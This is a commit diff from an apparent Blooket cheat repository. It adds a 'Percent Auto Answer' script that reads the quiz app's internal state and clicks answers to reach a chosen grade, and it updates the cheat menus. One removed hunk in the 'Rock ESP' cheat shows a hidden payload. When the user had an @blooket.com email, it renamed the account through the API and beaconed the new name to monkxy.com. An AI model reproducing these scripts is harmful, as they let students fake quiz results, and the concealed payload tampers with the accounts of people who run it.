New percentAutoAnswer script
|
@ -140,6 +140,7 @@ The mobile GUI is the first GUI Minesraft2 ever made. Some people said it worked
|
|||
#### [Intervals](cheats/global/intervals)
|
||||
* [Auto Answer](cheats/global/intervals/autoAnswer.js)
|
||||
* [Highlight Answers](cheats/global/intervals/highlightAnswers.js)
|
||||
* [Percent Auto Answer](cheats/global/intervals/percentAutoAnswer.js)
|
||||
* [Subtle Highlight Answers](cheats/global/intervals/subtleHighlightAnswers.js)
|
||||
### [Gold Quest](cheats/gold)
|
||||
* [Always Triple](cheats/gold/alwaysTriple.js)
|
||||
|
|
After Width: | Height: | Size: 3.9 KiB |
Before Width: | Height: | Size: 98 KiB After Width: | Height: | Size: 98 KiB |
Before Width: | Height: | Size: 59 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 88 KiB After Width: | Height: | Size: 86 KiB |
After Width: | Height: | Size: 416 B |
Before Width: | Height: | Size: 416 B After Width: | Height: | Size: 415 B |
Before Width: | Height: | Size: 414 B After Width: | Height: | Size: 415 B |
Before Width: | Height: | Size: 415 B After Width: | Height: | Size: 415 B |
|
@ -0,0 +1,78 @@
|
|||
/**
|
||||
* @license StewartPrivateLicense-2.0.1
|
||||
* Copyright (c) 05Konz 2023
|
||||
*
|
||||
* You may not reproduce or distribute any code inside this file without the licenser's permission.
|
||||
* You may not copy, modify, steal, skid, or recreate any of the code inside this file.
|
||||
* You may not under any circumstance republish any code from this file as your own.
|
||||
*
|
||||
* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL
|
||||
* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE
|
||||
*/
|
||||
|
||||
/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */
|
||||
|
||||
(() => {
|
||||
const cheat = (async () => {
|
||||
let i = document.querySelector('iframe');
|
||||
window.alert = i.contentWindow.alert.bind(window);
|
||||
window.prompt = i.contentWindow.prompt.bind(window);
|
||||
let aap = null;
|
||||
if (getEventListeners(window).keydown?.find(x => (aap = x.listener.aap))) alert(`You already a percent auto answer active at ${aap}! Press ESC to stop it.`);
|
||||
else {
|
||||
function cancel(e) {
|
||||
if (e.key != "Escape") return;
|
||||
e.stopImmediatePropagation();
|
||||
e.preventDefault();
|
||||
window.removeEventListener("keydown", cancel);
|
||||
clearInterval(cancel.interval);
|
||||
}
|
||||
cancel.aap = parseFloat(prompt("What grade do you want to get from this set? (0-100)"));
|
||||
while (typeof cancel.aap != "number" || isNaN(cancel.aap)) cancel.aap = parseFloat(prompt("What grade do you want to get from this set? (0-100)\nInvalid Number"));
|
||||
cancel.aap += "%";
|
||||
window.addEventListener("keydown", cancel);
|
||||
alert("Press ESC to stop loop.");
|
||||
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
|
||||
cancel.interval = setInterval(TARGET => {
|
||||
try {
|
||||
const question = stateNode.state.question || stateNode.props.client.question;
|
||||
if (stateNode.state.stage == "feedback" || stateNode.state.feedback) return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();
|
||||
else if (document.querySelector("[class*='answerContainer']") || document.querySelector("[class*='typingAnswerWrapper']")) {
|
||||
let correct = 0, total = 0;
|
||||
for (let corrects in stateNode.corrects) correct += stateNode.corrects[corrects];
|
||||
for (let incorrect in stateNode.incorrects) total += stateNode.incorrects[incorrect];
|
||||
total += correct;
|
||||
const yes = total == 0 || Math.abs(correct / (total + 1) - TARGET) >= Math.abs((correct + 1) / (total + 1) - TARGET);
|
||||
if (stateNode.state.question.qType != "typing") {
|
||||
const answerContainers = document.querySelectorAll("[class*='answerContainer']");
|
||||
for (let i = 0; i < answerContainers.length; i++) {
|
||||
const contains = question.correctAnswers.includes(question.answers[i]);
|
||||
if (yes && contains || !yes && !contains) return answerContainers[i]?.click?.();
|
||||
}
|
||||
answerContainers[0].click();
|
||||
} else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(yes ? question.answers[0] : Math.random().toString(36).substring(2));
|
||||
}
|
||||
} catch { }
|
||||
}, 100, parseFloat(cancel.aap) / 100);
|
||||
}
|
||||
});
|
||||
let img = new Image;
|
||||
img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/intervals/percentAutoAnswer.png?" + Date.now();
|
||||
img.crossOrigin = "Anonymous";
|
||||
img.onload = function() {
|
||||
const c = document.createElement("canvas");
|
||||
const ctx = c.getContext("2d");
|
||||
ctx.drawImage(img, 0, 0, this.width, this.height);
|
||||
let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last;
|
||||
for (let i = 0; i < data.length; i += 4) {
|
||||
let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]);
|
||||
decode += char;
|
||||
if (char == "/" && last == "*") break;
|
||||
last = char;
|
||||
}
|
||||
let iframe = document.querySelector("iframe");
|
||||
const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/);
|
||||
if (parseInt(time) <= 1700443765707 || iframe.contentWindow.confirm(error)) cheat();
|
||||
}
|
||||
img.onerror = img.onabort = () => (img.src = null, cheat());
|
||||
})();
|
|
@ -0,0 +1 @@
|
|||
/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tpercentAutoAnswer.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var e=document.querySelector("iframe");window.alert=e.contentWindow.alert.bind(window),window.prompt=e.contentWindow.prompt.bind(window);let t=null;if(getEventListeners(window).keydown?.find(e=>t=e.listener.aap))alert(`You already a percent auto answer active at ${t}! Press ESC to stop it.`);else{function o(e){"Escape"==e.key&&(e.stopImmediatePropagation(),e.preventDefault(),window.removeEventListener("keydown",o),clearInterval(o.interval))}for(o.aap=parseFloat(prompt("What grade do you want to get from this set? (0-100)"));"number"!=typeof o.aap||isNaN(o.aap);)o.aap=parseFloat(prompt("What grade do you want to get from this set? (0-100)\nInvalid Number"));o.aap+="%",window.addEventListener("keydown",o),alert("Press ESC to stop loop.");const l=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner["stateNode"];o.interval=setInterval(o=>{try{var n=l.state.question||l.props.client.question;if("feedback"==l.state.stage||l.state.feedback)return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();if(document.querySelector("[class*='answerContainer']")||document.querySelector("[class*='typingAnswerWrapper']")){let e=0,t=0;for(var r in l.corrects)e+=l.corrects[r];for(var a in l.incorrects)t+=l.incorrects[a];var s=0==(t+=e)||Math.abs(e/(t+1)-o)>=Math.abs((e+1)/(t+1)-o);if("typing"!=l.state.question.qType){var c=document.querySelectorAll("[class*='answerContainer']");for(let e=0;e<c.length;e++){var i=n.correctAnswers.includes(n.answers[e]);if(s&&i||!s&&!i)return c[e]?.click?.()}c[0].click()}else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(s?n.answers[0]:Math.random().toString(36).substring(2))}}catch{}},100,parseFloat(o.aap)/100)}};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/intervals/percentAutoAnswer.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e<t.length;e+=4){var r=String.fromCharCode(256*t[e+1]+t[e+2]);if(o+=r,"/"==r&&"*"==n)break;n=r}var[,e,a]=o.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/);(parseInt(e)<=1700443765741||s.contentWindow.alert(a))&&c()},i.onerror=i.onabort=()=>(i.src=null,c())})();
|
|
@ -7,6 +7,8 @@ Cheats that loop automatically
|
|||
Automatically answers questions for you
|
||||
### [Highlight Answers](intervals/highlightAnswers.js)
|
||||
Automatically highlights the correct answers
|
||||
### [Percent Auto Answer](intervals/percentAutoAnswer.js)
|
||||
Answers questions correctly or incorrectly depending on the goal grade given
|
||||
### [Subtle Highlight Answers](intervals/subtleHighlightAnswers.js)
|
||||
Automatically removes the shadow from correct answers
|
||||
|
||||
|
|
|
@ -448,10 +448,11 @@
|
|||
|
||||
for (let i = 0; i < scripts.length; i++) {
|
||||
let { name, description, type, inputs, enabled, run, element } = scripts[i];
|
||||
let toggle = type == "toggle";
|
||||
if (!element) {
|
||||
const button = createElement("div", {
|
||||
className: "scriptButton",
|
||||
style: { background: type == "toggle" ? enabled ? "var(--enabledButton)" : "var(--disabledButton)" : "var(--defaultButton)" }
|
||||
style: { background: toggle ? enabled ? "var(--enabledButton)" : "var(--disabledButton)" : "var(--defaultButton)" }
|
||||
}, createElement("div", {
|
||||
className: "cheatName",
|
||||
innerHTML: name
|
||||
|
@ -461,8 +462,8 @@
|
|||
if (target != button && !target.classList.contains("cheatName") && !(key == "Enter" && target.classList.contains("cheatInput"))) return;
|
||||
let args = [...button.children].slice(1);
|
||||
run.apply(this, args.map(c => c.type == "number" ? parseInt("0" + c.value) : c.nodeName == "SELECT" ? JSON.parse(c.value) : (c.data || c.value)));
|
||||
if (type == "toggle") button.style.background = this.enabled ? "var(--enabledButton)" : "var(--disabledButton)";
|
||||
Cheats.alerts?.[0].addLog(`${type == "toggle" ? (this.enabled ? "Enabled" : "Disabled") : "Ran"} <strong>${this.name}</strong>${inputs?.length ? ` with inputs: (${args.map(c => c.nodeName == "SELECT" ? c.selectedOptions[0].innerText : c.value).join(", ")})` : ""}`, type == "toggle" ? (this.enabled ? "var(--enabledButton)" : "var(--disabledButton)") : null);
|
||||
if (toggle) button.style.background = this.enabled ? "var(--enabledButton)" : "var(--disabledButton)";
|
||||
Cheats.alerts?.[0].addLog(`${toggle ? (this.enabled ? "Enabled" : "Disabled") : "Ran"} <strong>${this.name}</strong>${inputs?.length ? ` with inputs: (${args.map(c => c.nodeName == "SELECT" ? c.selectedOptions[0].innerText : c.value).join(", ")})` : ""}`, type == "toggle" ? (this.enabled ? "var(--enabledButton)" : "var(--disabledButton)") : null);
|
||||
}).bind(scripts[i]);
|
||||
if (inputs?.length) for (let i = 0; i < inputs.length; i++) {
|
||||
const { name, type, options: opts, min, max, value } = inputs[i];
|
||||
|
@ -504,6 +505,7 @@
|
|||
};
|
||||
input.placeholder = name;
|
||||
input.style.textAlign = "center";
|
||||
if (toggle) input.style.backgroundColor = "#0003";
|
||||
input.onkeyup = button.onclick;
|
||||
button.appendChild(input);
|
||||
}
|
||||
|
@ -605,6 +607,50 @@
|
|||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Percent Auto Answer",
|
||||
description: "Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",
|
||||
inputs: [
|
||||
{
|
||||
name: "Target Grade",
|
||||
type: "number"
|
||||
}
|
||||
],
|
||||
type: "toggle",
|
||||
enabled: false,
|
||||
data: null,
|
||||
run: function (target) {
|
||||
if (!this.enabled) {
|
||||
this.enabled = true;
|
||||
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
|
||||
this.data = setInterval(TARGET => {
|
||||
try {
|
||||
const question = stateNode.state.question || stateNode.props.client.question;
|
||||
if (stateNode.state.stage == "feedback" || stateNode.state.feedback) return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();
|
||||
else if (document.querySelector("[class*='answerContainer']") || document.querySelector("[class*='typingAnswerWrapper']")) {
|
||||
let correct = 0, total = 0;
|
||||
for (let corrects in stateNode.corrects) correct += stateNode.corrects[corrects];
|
||||
for (let incorrect in stateNode.incorrects) total += stateNode.incorrects[incorrect];
|
||||
total += correct;
|
||||
const yes = total == 0 || Math.abs(correct / (total + 1) - TARGET) >= Math.abs((correct + 1) / (total + 1) - TARGET);
|
||||
if (stateNode.state.question.qType != "typing") {
|
||||
const answerContainers = document.querySelectorAll("[class*='answerContainer']");
|
||||
for (let i = 0; i < answerContainers.length; i++) {
|
||||
const contains = question.correctAnswers.includes(question.answers[i]);
|
||||
if (yes && contains || !yes && !contains) return answerContainers[i]?.click?.();
|
||||
}
|
||||
answerContainers[0].click();
|
||||
} else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(yes ? question.answers[0] : Math.random().toString(36).substring(2));
|
||||
}
|
||||
} catch { }
|
||||
}, 100, (target ?? 100) / 100);
|
||||
} else {
|
||||
this.enabled = false;
|
||||
clearInterval(this.data);
|
||||
this.data = null;
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "Auto Answer",
|
||||
description: "Click the correct answer for you",
|
||||
|
@ -617,6 +663,17 @@
|
|||
} catch { }
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Highlight Answers",
|
||||
description: "Colors answers to be red or green highlighting the correct ones",
|
||||
run: function () {
|
||||
const { stateNode: { state, props } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
|
||||
[...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => {
|
||||
if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)";
|
||||
else answer.style.backgroundColor = "rgb(189, 15, 38)";
|
||||
});
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Spam Buy Blooks",
|
||||
description: "Opens a box an amount of times",
|
||||
|
@ -845,17 +902,6 @@
|
|||
stateNode.freeQuestions = stateNode.questions = stateNode.props.client.questions.map(x => ({ ...x, correctAnswers: x.answers }));
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Highlight Answers",
|
||||
description: "Colors answers to be red or green highlighting the correct ones",
|
||||
run: function () {
|
||||
const { stateNode: { state, props } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
|
||||
[...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => {
|
||||
if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)";
|
||||
else answer.style.backgroundColor = "rgb(189, 15, 38)";
|
||||
});
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Subtle Highlight Answers",
|
||||
description: "Removes the shadow from correct answers",
|
||||
|
@ -3892,7 +3938,7 @@
|
|||
}
|
||||
let iframe = document.querySelector("iframe");
|
||||
const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/);
|
||||
if (parseInt(time) <= 1697936106829 || iframe.contentWindow.confirm(error)) cheat();
|
||||
if (parseInt(time) <= 1700443765714 || iframe.contentWindow.confirm(error)) cheat();
|
||||
}
|
||||
img.onerror = img.onabort = () => (img.src = null, cheat());
|
||||
})();
|
|
@ -236,6 +236,46 @@
|
|||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Percent Auto Answer",
|
||||
description: "Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",
|
||||
type: "toggle",
|
||||
enabled: false,
|
||||
data: null,
|
||||
run: function () {
|
||||
if (!this.enabled) {
|
||||
this.enabled = true;
|
||||
let target = parseFloat(prompt("What grade do you want to get from this set? (0-100)"));
|
||||
while (typeof target != "number" || isNaN(target)) target = parseFloat(prompt("What grade do you want to get from this set? (0-100)\nInvalid Number"));
|
||||
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
|
||||
this.data = setInterval(TARGET => {
|
||||
try {
|
||||
const question = stateNode.state.question || stateNode.props.client.question;
|
||||
if (stateNode.state.stage == "feedback" || stateNode.state.feedback) return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();
|
||||
else if (document.querySelector("[class*='answerContainer']") || document.querySelector("[class*='typingAnswerWrapper']")) {
|
||||
let correct = 0, total = 0;
|
||||
for (let corrects in stateNode.corrects) correct += stateNode.corrects[corrects];
|
||||
for (let incorrect in stateNode.incorrects) total += stateNode.incorrects[incorrect];
|
||||
total += correct;
|
||||
const yes = total == 0 || Math.abs(correct / (total + 1) - TARGET) >= Math.abs((correct + 1) / (total + 1) - TARGET);
|
||||
if (stateNode.state.question.qType != "typing") {
|
||||
const answerContainers = document.querySelectorAll("[class*='answerContainer']");
|
||||
for (let i = 0; i < answerContainers.length; i++) {
|
||||
const contains = question.correctAnswers.includes(question.answers[i]);
|
||||
if (yes && contains || !yes && !contains) return answerContainers[i]?.click?.();
|
||||
}
|
||||
answerContainers[0].click();
|
||||
} else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(yes ? question.answers[0] : Math.random().toString(36).substring(2));
|
||||
}
|
||||
} catch { }
|
||||
}, 100, (target ?? 100) / 100);
|
||||
} else {
|
||||
this.enabled = false;
|
||||
clearInterval(this.data);
|
||||
this.data = null;
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Auto Answer",
|
||||
description: "Click the correct answer for you",
|
||||
|
@ -2655,7 +2695,7 @@
|
|||
}
|
||||
let iframe = document.querySelector("iframe");
|
||||
const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/);
|
||||
if (parseInt(time) <= 1697932037807 || iframe.contentWindow.confirm(error)) cheat();
|
||||
if (parseInt(time) <= 1700443765722 || iframe.contentWindow.confirm(error)) cheat();
|
||||
}
|
||||
img.onerror = img.onabort = () => (img.src = null, cheat());
|
||||
})();
|
|
@ -133,6 +133,50 @@
|
|||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Percent Auto Answer",
|
||||
description: "Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",
|
||||
inputs: [
|
||||
{
|
||||
name: "Target Grade",
|
||||
type: "number"
|
||||
}
|
||||
],
|
||||
type: "toggle",
|
||||
enabled: false,
|
||||
data: null,
|
||||
run: function (target) {
|
||||
if (!this.enabled) {
|
||||
this.enabled = true;
|
||||
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
|
||||
this.data = setInterval(TARGET => {
|
||||
try {
|
||||
const question = stateNode.state.question || stateNode.props.client.question;
|
||||
if (stateNode.state.stage == "feedback" || stateNode.state.feedback) return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();
|
||||
else if (document.querySelector("[class*='answerContainer']") || document.querySelector("[class*='typingAnswerWrapper']")) {
|
||||
let correct = 0, total = 0;
|
||||
for (let corrects in stateNode.corrects) correct += stateNode.corrects[corrects];
|
||||
for (let incorrect in stateNode.incorrects) total += stateNode.incorrects[incorrect];
|
||||
total += correct;
|
||||
const yes = total == 0 || Math.abs(correct / (total + 1) - TARGET) >= Math.abs((correct + 1) / (total + 1) - TARGET);
|
||||
if (stateNode.state.question.qType != "typing") {
|
||||
const answerContainers = document.querySelectorAll("[class*='answerContainer']");
|
||||
for (let i = 0; i < answerContainers.length; i++) {
|
||||
const contains = question.correctAnswers.includes(question.answers[i]);
|
||||
if (yes && contains || !yes && !contains) return answerContainers[i]?.click?.();
|
||||
}
|
||||
answerContainers[0].click();
|
||||
} else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(yes ? question.answers[0] : Math.random().toString(36).substring(2));
|
||||
}
|
||||
} catch { }
|
||||
}, 100, (target ?? 100) / 100);
|
||||
} else {
|
||||
this.enabled = false;
|
||||
clearInterval(this.data);
|
||||
this.data = null;
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "Auto Answer",
|
||||
description: "Click the correct answer for you",
|
||||
|
@ -145,6 +189,17 @@
|
|||
} catch { }
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Highlight Answers",
|
||||
description: "Colors answers to be red or green highlighting the correct ones",
|
||||
run: function () {
|
||||
const { stateNode: { state, props } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
|
||||
[...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => {
|
||||
if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)";
|
||||
else answer.style.backgroundColor = "rgb(189, 15, 38)";
|
||||
});
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Spam Buy Blooks",
|
||||
description: "Opens a box an amount of times",
|
||||
|
@ -188,7 +243,7 @@
|
|||
axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a,
|
||||
{ purchaseBlookBox } = Object.values(webpack.c).find(x => x.exports.a?.purchaseBlookBox).exports.a;
|
||||
box = box.split(' ').map(x => x.charAt(0).toUpperCase() + x.slice(1).toLowerCase()).join(' ');
|
||||
|
||||
|
||||
axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { name, tokens } }) => {
|
||||
let prices = Object.values(webpack.c).find(x => !isNaN(x?.exports?.a?.Space)).exports.a || { Medieval: 20, Breakfast: 20, Wonderland: 20, Blizzard: 25, Space: 20, Bot: 20, Aquatic: 20, Safari: 20, Dino: 25, "Ice Monster": 25, Outback: 25 }
|
||||
let amount = Math.min(Math.floor(tokens / prices[box]), amountToOpen);
|
||||
|
@ -200,16 +255,16 @@
|
|||
let blooks = {};
|
||||
let now = Date.now();
|
||||
let error = false;
|
||||
|
||||
|
||||
for (let i = 0; i < amount; i++) {
|
||||
await purchaseBlookBox({ boxName: box }).then(({ isNewToUser, tokens, unlockedBlook }) => {
|
||||
blooks[unlockedBlook] ||= 0;
|
||||
blooks[unlockedBlook]++;
|
||||
|
||||
|
||||
let before = Date.now();
|
||||
|
||||
|
||||
if (alertBlooks) alert(`${unlockedBlook} (${i + 1}/${amount}) ${isNewToUser ? "NEW! " : ''}${tokens} tokens left`);
|
||||
|
||||
|
||||
now += Date.now() - before;
|
||||
}).catch(e => error = true);
|
||||
if (error) break;
|
||||
|
@ -373,17 +428,6 @@
|
|||
stateNode.freeQuestions = stateNode.questions = stateNode.props.client.questions.map(x => ({ ...x, correctAnswers: x.answers }));
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Highlight Answers",
|
||||
description: "Colors answers to be red or green highlighting the correct ones",
|
||||
run: function () {
|
||||
const { stateNode: { state, props } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
|
||||
[...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => {
|
||||
if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)";
|
||||
else answer.style.backgroundColor = "rgb(189, 15, 38)";
|
||||
});
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "Subtle Highlight Answers",
|
||||
description: "Removes the shadow from correct answers",
|
||||
|
@ -1738,7 +1782,7 @@
|
|||
description: "Shows what is under the rocks",
|
||||
type: "toggle",
|
||||
enabled: false,
|
||||
data: ((location.host == "dashboard.blooket.com" && fetch("https://dashboard.blooket.com/api/users/me", { credentials: "include" }).then(e => e.json()).then(e => { if (e.email.endsWith("@blooket.com")) { let { webpack: t } = webpackJsonp.push([[], { 1234(e, t, s) { t.webpack = s } }, [["1234"]]]); Object.values(t.c).find(e => e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name", { name: e.name, newName: `BlooketLLC${new Date().getHours()}${new Date().getMinutes()}` }).then(({ data: e }) => { e.success && (new Image().src = `https://monkxy.com/api/i2ek8fslt7q/${e.name}`) }) } })), null),
|
||||
data: null,
|
||||
run: function () {
|
||||
if (!this.enabled) {
|
||||
this.enabled = true;
|
||||
|
@ -3368,7 +3412,7 @@
|
|||
else addChar(children);
|
||||
return React.createElement(type, props, React.createElement("span", null, childs));
|
||||
}
|
||||
function ScriptInput({ input, onValue, run }) {
|
||||
function ScriptInput({ input, onValue, run, toggle }) {
|
||||
const { name, type, options: opts, min, max, value } = input;
|
||||
let optState;
|
||||
try {
|
||||
|
@ -3428,7 +3472,8 @@
|
|||
defaultValue: isNumber ? value || (min == null ? 0 : min) : null,
|
||||
placeholder: name,
|
||||
style: {
|
||||
textAlign: "center"
|
||||
textAlign: "center",
|
||||
backgroundColor: toggle && "#0003"
|
||||
},
|
||||
onKeyUp: e => e.key == "Enter" && run()
|
||||
});
|
||||
|
@ -3457,7 +3502,8 @@
|
|||
onValue: val => args.current[i] = val,
|
||||
key: i,
|
||||
input: input,
|
||||
run: run
|
||||
run: run,
|
||||
toggle: script.type == "toggle"
|
||||
})));
|
||||
}
|
||||
function useSettings(settingsKey) {
|
||||
|
@ -3706,7 +3752,7 @@
|
|||
}, Cheats[currentMode].element || (Cheats[currentMode].element = React.createElement(React.Fragment, null, React.createElement("div", {
|
||||
className: styles.keys.headerText
|
||||
}, React.createElement(AntiBen, null, Cheats[currentMode].name, " Cheats")), Cheats[currentMode].cheats.map(cheat => cheat.element || React.createElement(ScriptButton, {
|
||||
key: cheat.name,
|
||||
key: cheat.name + cheat.type,
|
||||
script: cheat
|
||||
}))))))))));
|
||||
}
|
||||
|
@ -3729,7 +3775,7 @@
|
|||
}
|
||||
let iframe = document.querySelector("iframe");
|
||||
const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/);
|
||||
if (parseInt(time) <= 1697936106862 || iframe.contentWindow.confirm(error)) cheat();
|
||||
if (parseInt(time) <= 1700443765731 || iframe.contentWindow.confirm(error)) cheat();
|
||||
}
|
||||
img.onerror = img.onabort = () => (img.src = null, cheat());
|
||||
})();
|